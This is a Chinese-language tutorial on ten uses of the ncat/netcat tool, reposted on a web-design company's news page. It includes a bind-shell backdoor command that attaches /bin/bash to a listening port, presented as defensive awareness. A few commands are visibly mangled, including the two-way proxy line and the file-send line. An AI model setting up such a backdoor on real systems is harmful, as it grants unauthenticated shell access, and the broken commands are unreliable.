新聞中心
nc是netcat的簡寫,有著網(wǎng)絡(luò)界的瑞士軍刀美譽。因為它短小精悍、功能實用,被設(shè)計為一個簡單、可靠的網(wǎng)絡(luò)工具

綿竹網(wǎng)站建設(shè)公司成都創(chuàng)新互聯(lián)公司,綿竹網(wǎng)站設(shè)計制作,有大型網(wǎng)站制作公司豐富經(jīng)驗。已為綿竹上千余家提供企業(yè)網(wǎng)站建設(shè)服務(wù)。企業(yè)網(wǎng)站搭建\外貿(mào)營銷網(wǎng)站建設(shè)要多少錢,請找那個售后服務(wù)好的綿竹做網(wǎng)站的公司定做!
例子: 1) 監(jiān)聽入站連接
通過 -l 選項,ncat 可以進入監(jiān)聽模式,使我們可以在指定端口監(jiān)聽入站連接。 完整的命令是這樣的:
$ ncat -l port_number
比如,
$ ncat -l 8080
服務(wù)器就會開始在 8080 端口監(jiān)聽入站連接。
例子: 2) 連接遠程系統(tǒng)
使用下面命令可以用 nc 來連接遠程系統(tǒng),
$ ncat IP_address port_number
讓我們來看個例子,
$ ncat 192.168.1.100 80
這會創(chuàng)建一個連接,連接到 IP 為 192.168.1.100 的服務(wù)器上的 80 端口,然后我們就可以向服務(wù)器發(fā)送指令了。 比如我們可以輸入下面內(nèi)容來獲取完整的網(wǎng)頁內(nèi)容
GET / HTTP/1.1
或者獲取頁面名稱,
GET / HTTP/1.1
或者我們可以通過以下方式獲得操作系統(tǒng)指紋標識,
HEAD / HTTP/1.1
這會告訴我們使用的是什么軟件來運行這個 web 服務(wù)器的。
例子: 3) 連接 UDP 端口
默認情況下,nc 創(chuàng)建連接時只會連接 TCP 端口。 不過我們可以使用 -u 選項來連接到 UDP 端口,
$ ncat -l -u 1234
現(xiàn)在我們的系統(tǒng)會開始監(jiān)聽 UDP 的 1234 端口,我們可以使用下面的 netstat 命令來驗證這一點,
$ netstat -tunlp | grep 1234udp 0 0 0.0.0.0:1234 0.0.0.0:* 17341/ncudp6 0 0 :::1234 :::* 17341/nc
假設(shè)我們想發(fā)送或者說測試某個遠程主機 UDP 端口的連通性,我們可以使用下面命令,
$ ncat -v -u {host-ip} {udp-port}
比如:
[root@localhost ~]# ncat -v -u 192.168.105.150 53Ncat: Version 6.40 ( http://nmap.org/ncat )Ncat: Connected to 192.168.105.150:53。
例子: 4) 將 nc 作為聊天工具
nc 也可以作為聊天工具來用,我們可以配置服務(wù)器監(jiān)聽某個端口,然后從遠程主機上連接到服務(wù)器的這個端口,就可以開始發(fā)送消息了。 在服務(wù)器這端運行:
$ ncat -l 8080
在遠程客戶端主機上運行:
$ ncat 192.168.1.100 8080
之后開始發(fā)送消息,這些消息會在服務(wù)器終端上顯示出來。
例子: 5) 將 nc 作為代理
nc 也可以用來做代理。比如下面這個例子,
$ ncat -l 8080 | ncat 192.168.1.200 80
所有發(fā)往我們服務(wù)器 8080 端口的連接都會自動轉(zhuǎn)發(fā)到 192.168.1.200 上的 80 端口。 不過由于我們使用了管道,數(shù)據(jù)只能被單向傳輸。 要同時能夠接受返回的數(shù)據(jù),我們需要創(chuàng)建一個雙向管道。 使用下面命令可以做到這點:
$ mkfifo 2way$ ncat -l 8080 02way
現(xiàn)在你可以通過 nc 代理來收發(fā)數(shù)據(jù)了。
例子: 6) 使用 nc 拷貝文件
nc 還能用來在系統(tǒng)間拷貝文件,雖然這么做并不推薦,因為絕大多數(shù)系統(tǒng)默認都安裝了 ssh/scp。 不過如果你恰好遇見個沒有 ssh/scp 的系統(tǒng)的話, 你可以用 nc 來作最后的努力。
在要接受數(shù)據(jù)的機器上啟動 nc 并讓它進入監(jiān)聽模式:
$ ncat -l 8080 > file.txt
現(xiàn)在去要被拷貝數(shù)據(jù)的機器上運行下面命令:
$ ncat 192.168.1.100 8080 --send-only
這里,data.txt 是要發(fā)送的文件。 -–send-only 選項會在文件拷貝完后立即關(guān)閉連接。 如果不加該選項, 我們需要手工按下 ctrl+c 來關(guān)閉連接。
我們也可以用這種方法拷貝整個磁盤分區(qū),不過請一定要小心。
例子: 7) 通過 nc 創(chuàng)建后門
nc 命令還可以用來在系統(tǒng)中創(chuàng)建后門,并且這種技術(shù)也確實被黑客大量使用。 為了保護我們的系統(tǒng),我們需要知道它是怎么做的。 創(chuàng)建后門的命令為:
$ ncat -l 10000 -e /bin/bash
-e 標志將一個 bash 與端口 10000 相連?,F(xiàn)在客戶端只要連接到服務(wù)器上的 10000 端口就能通過 bash 獲取我們系統(tǒng)的完整訪問權(quán)限:
$ ncat 192.168.1.100 10000
例子: 8) 通過 nc 進行端口轉(zhuǎn)發(fā)
我們通過選項 -c 來用 nc 進行端口轉(zhuǎn)發(fā),實現(xiàn)端口轉(zhuǎn)發(fā)的語法為:
$ ncat -u -l 80 -c 'ncat -u -l 8080'
這樣,所有連接到 80 端口的連接都會轉(zhuǎn)發(fā)到 8080 端口。
例子: 9) 設(shè)置連接超時
nc 的監(jiān)聽模式會一直運行,直到手工終止。 不過我們可以通過選項 -w 設(shè)置超時時間:
$ ncat -w 10 192.168.1.100 8080
這回導(dǎo)致連接 10 秒后終止,不過這個選項只能用于客戶端而不是服務(wù)端。
例子: 10) 使用 -k 選項強制 nc 待命
當客戶端從服務(wù)端斷開連接后,過一段時間服務(wù)端也會停止監(jiān)聽。 但通過選項 -k 我們可以強制服務(wù)器保持連接并繼續(xù)監(jiān)聽端口。 命令如下:
$ ncat -l -k 8080
現(xiàn)在即使來自客戶端的連接斷了也依然會處于待命狀態(tài)。
本文名稱:快速上手nc命令
網(wǎng)址分享:http://www.dlmjj.cn/article/dhpjjcg.html


咨詢
建站咨詢
